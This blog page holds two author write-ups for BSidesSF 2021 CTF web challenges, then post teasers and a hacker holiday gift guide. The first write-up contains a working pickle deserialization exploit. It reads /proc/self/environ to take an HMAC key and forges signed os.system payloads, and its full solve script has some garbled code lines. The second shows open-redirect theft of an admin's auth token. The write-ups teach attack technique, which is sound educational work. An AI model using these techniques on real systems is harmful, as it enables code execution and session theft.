BSidesSF 2021 CTF: Encrypted Bin (Author Writeup)

I was the author for the BSidesSF 2021 CTF Challenge “Encrypted Bin”, which is an encrypted pastebin service. The description from the scoreboard:

I’ve always wanted to build an encrypted pastebin service. Hope I’ve done it correctly. (Look in /home/flag/ for the flag.)

I thought I’d do a walk through of how I expected players to solve the challenge, so I’ll write this as if I’m playing the challenge.

Visiting the web service, we find an upload page for text and not much else. When we perform an upload, we see that we’re redirected to a page to view the encrypted upload:


If we look at the requests made in our browser, we notice that the contents of the paste are loaded by a Fetch API request to the server at /load, with an example request like:


We note the UUID as the file parameter and the key parameter separately. If we upload a few test files, we notice the entire file UUID changes each time, but not all parts of the key parameter are changing, suggesting some structure to the data:


The single bang (!) in the middle is likely a separator, and the data on both sides appear to be base64-encoded. (Well, the URL-safe variant of base64, where - and _ are used in addition to 0-9A-Za-z.) The left side is 16 bytes decoded, so 128 bits – could be some sort of key or MAC. It appears to always be completely random. The right side, on the other hand, has some parts that never change. This suggests some kind of structured data. If we decode them, we see the characters “keyq” and “ivq” consistently, suggesting maybe there’s some key/iv data there.

What if we try manipulating the data? If we tamper with most any byte in the key parameter, we get the following response:

<title>403 Forbidden</title>
<p>Error deserializing pickled data: Invalid MAC</p>

The error here tells us a couple of interesting things. Firstly, there’s a MAC involved, telling us the value is signed in some way. Secondly, many might recognize “pickled data” as referring to the Python pickle module (and it’s the first search result for the term). The page even contains a warning:

Warning The pickle module is not secure. Only unpickle data you trust.

It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.

Consider signing data with hmac if you need to ensure that it has not been tampered with.

The mention of hmac sounds similar to what we see in the error message, so it sounds like we’re on the right path.

What if we play with the file parameter? Most things just end up with a 404 error. If we include .., as in a typical directory traversal attack (like ../../../../../etc/passwd), we find a different error, suggesting something different is happening. Most probably, the file parameter is not just a key in some database. If we just try an absolute path like /etc/passwd, we get a bunch of binary data back. Since the file on disk is plaintext, we’re probably getting the data “decrypted” by the key we provided. Can we reverse this?

Let’s try to figure out how we can decrypt this file. Let’s try unpickling the data from one of the keys we’ve retrieved:

keyData = pickle.loads(base64.urlsafe_b64decode('gAN9cQAoWAMAAABrZXlxAUMQmErsXcdIRlSngzdd-VseZXECWAIAAABpdnEDQwgiKmU3EL20QnEEdS4='))
{'key': b'\x98J\xec]\xc7HFT\xa7\x837]\xf9[\x1ee', 'iv': b'"*e7\x10\xbd\xb4B'}

We know from the home page that this uses AES-128, and its implemented in Python3. There’s a couple of Python Crypto libraries (sorry!) but pycryptodome is used here.

We can decrypt data we receive back using just a few lines of Python:

from Crypto.Cipher import AES

def decrypt_data(data, key, iv):
    cip =, AES.MODE_CTR, nonce=iv)
    return cip.decrypt(data)

Given this, we’re able to read arbitrary files from the server. If you’ve checked the HTML source of the app, you’ll have seen /home/ctf/ mentioned as the source. If you retrieve that, you’ll have the full source of the application. I won’t reproduce it in full here, but will grab some relevant sections:

def unpack_key(cfg, data):
    """Retrieve key and iv."""
    mac, d = data.encode('utf-8').split(MAC_SEP)
    mac = base64.urlsafe_b64decode(mac)
    d = base64.urlsafe_b64decode(d)
    expected =
    if not hmac.compare_digest(mac, expected):
        app.logger.warn('Invalid MAC: ' + mac.hex() + ' ' + expected.hex())
        raise ValueError('Error deserializing pickled data: Invalid MAC')
    keyd = pickle.loads(d)
    return keyd['key'], keyd['iv']

You’ll also want to pull the related import /home/ctf/ (loaded at the top of

import os


# App specific configs
BASE_DIR = "/tmp/ebin"
AUTH_KEY = os.getenv("AUTH_KEY", "--auth-key--")
FLAG_PATH = "/home/flag/flag.txt"

We can try our current technique to read the flag file from /home/flag/flag.txt, but that returns a 403 error.

We notice that the authentication key for the HMAC is configured here, but it could be taken from the environment as well. We could try doing something with this key, but instead, I’d rather just dump the environment. If you’re not aware, you can access the environment variables for a running process on Linux by reading /proc/self/environ. Each NAME=VALUE pair is null-terminated. Retrieving this in the same manner as the source, we get the following value for the AUTH_KEY:


Well, this suggests we need to execute code instead of just reading the flag from the file.

At this point, we can use the AUTH_KEY and the code in pack_key to try to construct our own valid key. Initially, I just set up a key and iv of my own choosing to avoid the same “Invalid MAC” error. Just plugging in the AUTH_KEY value and key and iv of my choice to pack_key worked fine. But all this allows is choosing my own encryption key – not super useful at this point.

If you recall, there was a bit of a warning regarding the use of pickle and the ability to execute arbitrary code during pickling. A Python class to execute a shell command is as simple as this:

class Exp:

    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        return os.system, (self.cmd, )

While I could send a reverse shell, I decided to use this to build a script that would just return output via output redirection to a file, then using the arbitrary file read. Listing /home/flag, we see that flag.txt is only readable by the flag user, but there’s also a program called getflag that is setuid() to the user flag.

-r-------- 1 flag ctf       22 Feb 27 23:14 flag.txt
-r-s--x--- 1 flag ctf  2061426 Feb 27 23:14 getflag

By altering our exploit to run /home/flag/getflag and getting the output, we’re able to get the contents of the flag file. Putting it all together gives the following solution script. Hope you found this challenge interesting or educational!

import pickle
import requests
import sys
from Crypto.Cipher import AES
import os.path
import base64
import hmac
import hashlib

def main(target):
    src_path = get_source_path(target)
    print('Source path:', src_path)
    usable_key = get_key_data(target)
    key, iv = extract_key_nonce(usable_key)
    file_src = retrieve_path(target, src_path, usable_key)
    config_src = retrieve_path(
            target, src_path.replace('', ''), usable_key)
    environ_src = retrieve_path(
            target, '/proc/self/environ', usable_key)
    auth_key = extract_auth_key(environ_src)
    print('Auth Key: "%s"' % auth_key.decode('utf-8'))
    exploit = build_exploit(auth_key, 'ls -al /home/flag > /tmp/matirflag')
    retrieve_path(target, '/etc/passwd', exploit)  # Needed to get code exec
    print(retrieve_path(target, '/tmp/matirflag', usable_key).decode('utf-8'))
    exploit = build_exploit(auth_key, '/home/flag/getflag > /tmp/matirflag')
    retrieve_path(target, '/etc/passwd', exploit)  # Needed to get code exec
    flag = retrieve_path(
            target, '/tmp/matirflag', usable_key)
    print('Flag: ', flag.decode('utf-8'))

def get_source_path(target):
    r = requests.get(target)
    src_line = [a for a in r.text.split('\n') if '<!-- Source' in a][0]
    return src_line.split(': ')[1].split(' ')[0]

def get_key_data(target):
    data = {'paste': 'foobarbaz'}
    r = + '/upload', data=data)
    resp = r.json()
    return resp['key']

def extract_key_nonce(key_data):
    sig, e_key = key_data.split('!')
    key_d = base64.urlsafe_b64decode(e_key)
    key_s = pickle.loads(key_d)
    return key_s['key'], key_s['iv']

def retrieve_path(target, src_path, key_data):
    data = {
            'file': src_path,
            'key': key_data,
    r = requests.get(target + '/load', data)
    if r.status_code != 200:
        print('Error:', r.status_code)
        return ''
    key, iv = extract_key_nonce(key_data)
    return decrypt_data(r.content, key, iv)

def extract_auth_key(environ):
    pairs = environ.split(b'\x00')
    for p in pairs:
        k, v = p.split(b'=', 1)
        if k == b'AUTH_KEY':
            return v

def decrypt_data(data, key, iv):
    cip =, AES.MODE_CTR, nonce=iv)
    return cip.decrypt(data)

def build_exploit(auth_key, cmd):
    exp = Exp(cmd)
    exp_d = pickle.dumps(exp)
    mac =, msg=exp_d, digestmod=hashlib.sha256).digest()[:16]
    return (
            base64.urlsafe_b64encode(mac) + b"!" +

class Exp:

    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        return os.system, (self.cmd, )

if __name__ == '__main__':

BSidesSF 2021 CTF: CuteSrv (Author Writeup)

I authored the BSidesSF 2021 CTF Challenge “CuteSrv”, which is a service to display cute pictures. The description from the scoreboard:

Last year was pretty tough for all of us. I built this service of cute photos to help cheer you up. We do moderate for cuteness, so no inappropriate photos please!

Like my other write-ups, I’ll do this from the perspective of a player playing through and try not to assume internal knowledge.

Visiting the service, we find a bunch of cute pictures:


Since we just see links for Login and Submit at the top, it’s worth checking those out. Submit redirects us to the login page, so let’s login. We explicitly see that it’s redirecting us to a “LoginSVC” login page to do the login. This is on a different domain than the CuteSrv.

On this page, you can login or register. My first instinct would be to check for SQL injection, but even with SQLmap, I’m not finding anything. We create an account and are redirected back to CuteSrv. Now we only have the Submit link, which prompts us for a URL to submit.

CuteSrv Submit Page

Since it mentions that all submissions will be reviewed, I assume the admin will see a page with either the URL or the maybe the URL will be placed in an image tag for them to preview. In any case, this seems like a likely XSS vector, so we can try some payloads. Unfortunately, none of those payloads get us anything.

I start looking at the source for the webpages to see anything I’ve missed. I notice a hidden link to /flag.txt, so I figure I’ll just check that, though it seems too obvious for a challenge that’s not a 101. As expected, I just get Not Authorized here.

Let’s see if we can verify that the admin is seeing our submissions. We can use a RequestBin (or host something ourselves) and just use that URL for the image to see if we can get any request at all. We submit our RequestBin URL and almost immediately see a request that tells us the admin visited.

Maybe there’s a vulnerability in the login page. If nothing else, it’s pretty unusual for a CTF challenge to use two separate domains and services. If we logout and go to login again, and follow the flow carefully, we’ll see a set of requests:

- (Perform login)

We notice that the authentication token gets passed as a GET parameter from one service to another. If you’re familiar with it, you may recognize it as a JWT. Maybe we can craft our own token for the admin user, as sometimes JWT implementations have vulnerabilities. Unfortunately, every token I attempt to craft is rejected by the service and results in me being in a logged-out state.

If we’re already logged in, the /check endpoint on LoginSVC automatically redirects us to our continue URL. I quickly try some variations on the URL provided by CuteSRV and notice that LoginSVC seems to accept any URL I throw at it. Perhaps I can make use of this open redirect somehow. If I can get the admin to visit my server from the login service, maybe I can steal the authtok parameter and use it. I try submitting the /check URL with a continue parameter that points to my RequestBin (i.e., in the image submission form.

Almost immediately, there’s a request to my RequestBin with a different authtok as a query parameter! I copy the authtok and use it with the /setsid path on CuteSRV:


It appears to give me a valid session, so I try the /flag.txt endpoint again and am rewarded:

FLAG: CTF{i_hope_you_made_it_through_2020_okay}

Is Reusing an Old Mac Mini Worth It?

I was cleaning up some old electronics (I’m a bit of a pack rat) and came across a Mac Mini I’ve owned since 2009. I was curious whether it still worked and whether it could get useful work done. This turned out to be more than a 5 minute experiment, so I thought I’d write it up here as it was just an interesting little test.

Merry Christmas: 2020 Holiday Ornament

First off, I want to wish everyone a Happy Holidays and a Merry Christmas. I know 2020 has been a hard year for so many, and I hope you and your families are healthy and making it through the year.

Over the past few years, I’ve gotten into making holiday ornaments for friends and family. In 2017, I did a snowflake PCB ornament. In 2018, I used laser cutting service Ponoko to cut acrylic fir trees with interlocking pieces. In 2019, I used my new 3D printer to print 3-dimensional snowflakes. In 2020, I’ve returned to my roots and gone with another PCB design. As a huge fan of DEFCON #badgelife, it felt appropriate to go back this way. I ended up with a touch-sensitive snowman with 6 LEDs.

Hacker Holiday Gift Guide - 2020 Edition

Welcome to the 2020 edition of my Hacker Holiday Gift Guide! This has been a trying year for all of us, but I sincerely hope you and your family are happy and healthy as this year comes to an end.

Table of Contents

General Security

ProtonMail Subscription

ProtonMail is a great encrypted mail provider for those with an interest in privacy or cryptography. They offer gift cards for subscriptions to both ProtonMail and ProtonVPN, their VPN service.

Encrypted Flash Drive

Datashur Pro

I know cloud storage is all the rage, but sometimes you need a local copy. Sometimes, you even need that local copy to be protected – maybe it’s user data, maybe it’s financial data, maybe it’s medical data – and hardware encryption allows you to go from one system to another without needing any special software. Additionally, it can’t be keylogged or easily compromised from software. This Datashur Pro is my choice of encrypted flash drive, but there are a number of options out there.

Cryptographic Security Key

Yubikey 5C

These devices act as a second factor for authentication, but some of them can do so much more. The Yubikey 5 can also function as a hardware security token for encryption keys and provide one-time-password functionality. Keys from Feitian Technologies support Bluetooth Low Energy in addition to NFC and USB, allowing them to work with a variety of devices. If you or your hacker are into open source, the SoloKey keys are open source hardware implementations of the specification.

Linux Basics for Hackers

Linux Basics For Hackers

I’ve been using Linux for more than two decades, so I honestly initially just bought Linux Basics for Hackers because of the awesome hacker penguin on the cover. If you’re not already familiar with Linux, but need it to grow your skillset, this is an excellent book with a focus on the Linux you need to know as an information security professional or hacker. It has a particular focus on Kali Linux, the Linux distribution popular for penetration testing, but the lessons are more broadly applicable across different security domains.

Penetration Testers & Red Teamers

These gifts are for your pentesters, red teamers, and those learning the field.

The Pentester Blueprint

The Pentester Blueprint

The Pentester Blueprint is a guide to getting started as a professional penetration tester. It’s not very technical, and it’s not going to teach your recipient how to “hack”, but it’s great career advice for those getting started in penetration testing or looking to make a career transition. It basically just came out, so it’s up-to-date (which is, of course, a perpetual issue in technical books these days. It’s written in a very easy-reading style, so is great for those considering the switch to pentesting.

Online Learning Labs

I can recommend several online labs, some of which offer gift cards:

Penetration Testing: A Hands-On Introduction to Hacking

Penetration Testing

Georgia Weidman’s book, “Penetration Testing: A Hands-On Introduction to Hacking” is one of the best introductory guides to penetration testing that I have seen. Even though it’s been a few years since it was released, it remains high-quality content and a great introductory guide to the space. Available via Amazon or No Starch Press. Georgia is a great speaker and teacher and well-known for her efforts to spread knowledge within the security community.

WiFi Pineapple Mark VII

WiFi Pineapple

The WiFi Pineapple is probably the best known piece of “hacking hardware”. Now in it’s seventh generation, it’s used for conducting WiFi security audits, on-site penetration tests, or even as a remote implant for remote penetration tests. I’ve owned several versions of the WiFi Pineapple and found that it only gets better with each generation. Especially with dual radios, it can do things like act as a client on one radio while providing an access point on the other radio.

The WiFi Pineapple does have a bit of a learning curve, but it’s a great option for those getting into the field or learning about the various types of WiFi audits and attacks. The USB ports also allow expansion if you need to add a capability not already built-in.



PoC||GTFO is an online journal for offensive security and exploitation. No Starch Press has published a pair of physical journals in a beautiful biblical style. The content is very high quality, but they’re also presented in a striking style that would go well on the bookshelf of even the most discerning hacker. Check out both Volume I and Volume II, with Volume III available for pre-order to be delivered in January.

Hardware Hackers



Tigard is a pretty cool little hardware hacker’s universal interface that I’m super excited about. Similar to my open source project, TIMEP, it’s a universal interface for SPI, I2C, JTAG, SWD, UART, and more. It’s great for examining embedded devices and IoT, and is a really well-thought-out implementation of such a board. It supports a variety of voltages and options and is even really well documented on the back of the board so you never have to figure out how to hook it up. This is great both for those new to hardware hacking as well as those experienced looking for an addition to the toolkit.

Hardware Hacker: Adventures in Making and Breaking Hardware

Hardware Hacker

Andrew “Bunnie” Huang is a well-known hardware hacker with both experience in making and breaking hardware, and Hardware Hacker: Adventures in Making and Breaking Hardware is a great guide to his experiences in those fields. It’s not a super technical read, but it’s an excellent and interesting resource on the topics.

RTL-SDR Starter Kit


Software-Defined Radio allows you to examine wireless signals between devices. This is useful if you want to take a look at how wireless doorbells, toys, and other devices work. This Nooelec kit is a great starting SDR, as is this kit from

iFixit Pro Tech Toolkit

The iFixit Pro Tech Toolkit is probably the tool I use the most during security assessments of IoT/embedded devices. This kit can get into almost anything, and the driver set in it has bits for almost anything. It has torx, security torx, hex, Phillips and slotted bits, in addition to many more esoteric bits. The kit also contains other opening tools for prying and pulling apart snap-together enclosures and devices. I will admit, I don’t think I’ve ever used the anti-static wrist strap, even if it would make sense to do so.

Young Hackers



imagiCharm by imagiLabs is a small hardware device that allows young programmers to get their first bite into programming embedded devices – or even programming in general. While I haven’t tried it myself, it looks like a great concept, and providing something hands-on looks like a clear win for encouraging students and helping them find their interest.

Mechanical Puzzles

PuzzleMaster offers a bunch of really cool mechanical puzzles and games. These include things like puzzle locks, twisty puzzles, and more. When we’re all stuck inside, why not give something hands on a try?

Friends and Family of Hackers

Bring a touch of hacking to your friends and family!

Hardware Security Keys

Yubico Security Key

A Security Key is a physical 2 factor security token that makes web logins much more secure. Users touch the gold disc when signing in to verify their signin request, so even if a password gets stolen, the account won’t be stolen. These tokens are supported by sites like Google, GitHub, Vanguard, Dropbox, GitLab, Facebook, and more.

Unlike text-message based second factor, these tokens are impossible to phish, can’t be stolen via phone number porting attacks, and don’t depend on your phone having a charge.



Control-Alt-Hack is a hacking-themed card game. Don’t expect technical accuracy, but it’s a lot of fun to play. Featuring terms like “Entropy” and “Mission”, it brings the theme of hacking to the whole family. It’s an interesting take on things, and a really cool concept. If you’re a fan of independent board/card games and a fan of hacking, this would be a fun addition to your collection.

VPN Subscription

If your friends or family use open wireless networks (I know, maybe not as much this year), they should consider using a VPN. I currently use Private Internet Access when I need a commercial provider, but I have also used Ivacy before, as well as ProtonVPN.

Non-Security Tech

These are tech items that are not specific to the security industry/area. Great for hackers, friends of hackers, and more.

Raspberry Pi 4

Raspberry Pi 4

Okay, I probably could’ve put the Raspberry Pi 4 in almost any of these categories because it’s such a versatile tool. It can be a young hacker’s first Linux computer, it can be a penetration testing dropbox, it can be a great tool for hardware hackers, and it can be a project unto itself. The user can use it to run a home media server, a network-level ad blocker, or just get familiar with another operating system. While I’ve been a fan of the Raspberry Pi in various forms for years, the Pi 4 has a quad core processor and can come with enough memory for some powerful uses. There’s a bunch of configurations, like:



The Keysy is a a small RFID duplicator. While it can be used for physical penetration testing, it’s also just super convenient if you have multiple RFID keyfobs you need to deal with (i.e., apartment, work, garage, etc.). Note that it only handles certain types of RFID cards, but most of the common standards are available and workable.

Home Automation Learning Kit

This is a really cool kit for learning about home automation with Arduino. It has sensors and inputs for learning about how home automation systems work – controlling things with relays, measuring light, temperature, etc. I love the implementation into a fake laser cut house for the purpose of learning – it’s really clever, and makes me think it would be great for anyone into tech and automation. Teens and adults wanting to learn about Arduino, security practitioners who want to examine how things could go wrong (could augment this with consumer-grade products) and more.

Boogie Board Writing Tablet

Sometimes you just want to hand write something. While I’m also a fan of Field Notes Notebooks in my pocket, this Boogie Board tablet strikes me as a pretty cool option. It allows the user to write on its surface overlaid over anything of your choice (it’s transparent) and then capture the written content into iOS or Android. I love to hand write for brainstorming, some form of note taking, and more. System diagrams are so much easier in writing than in digital format, even today.

General Offers

This is my attempt to collect special offers for the holiday season that are relevant to the hacking community. These are all subject to change, but I believe them correct at the time of writing.

No Starch Press

No Starch Press is possibly the highest quality tech book publisher. Rather than focusing on quantity of books published, they only accept books that will be high quality. I own at least a couple of dozen of their books and they have been consistently well-written and high quality coverage of the topics. They are currently offering 33.7% off their entire catalog for Black Friday (through 11/29/20).

Hooligan Keys

Hooligan Keys offering 10% off from Thanksgiving to Christmas with offer code HAPPYDAY2020.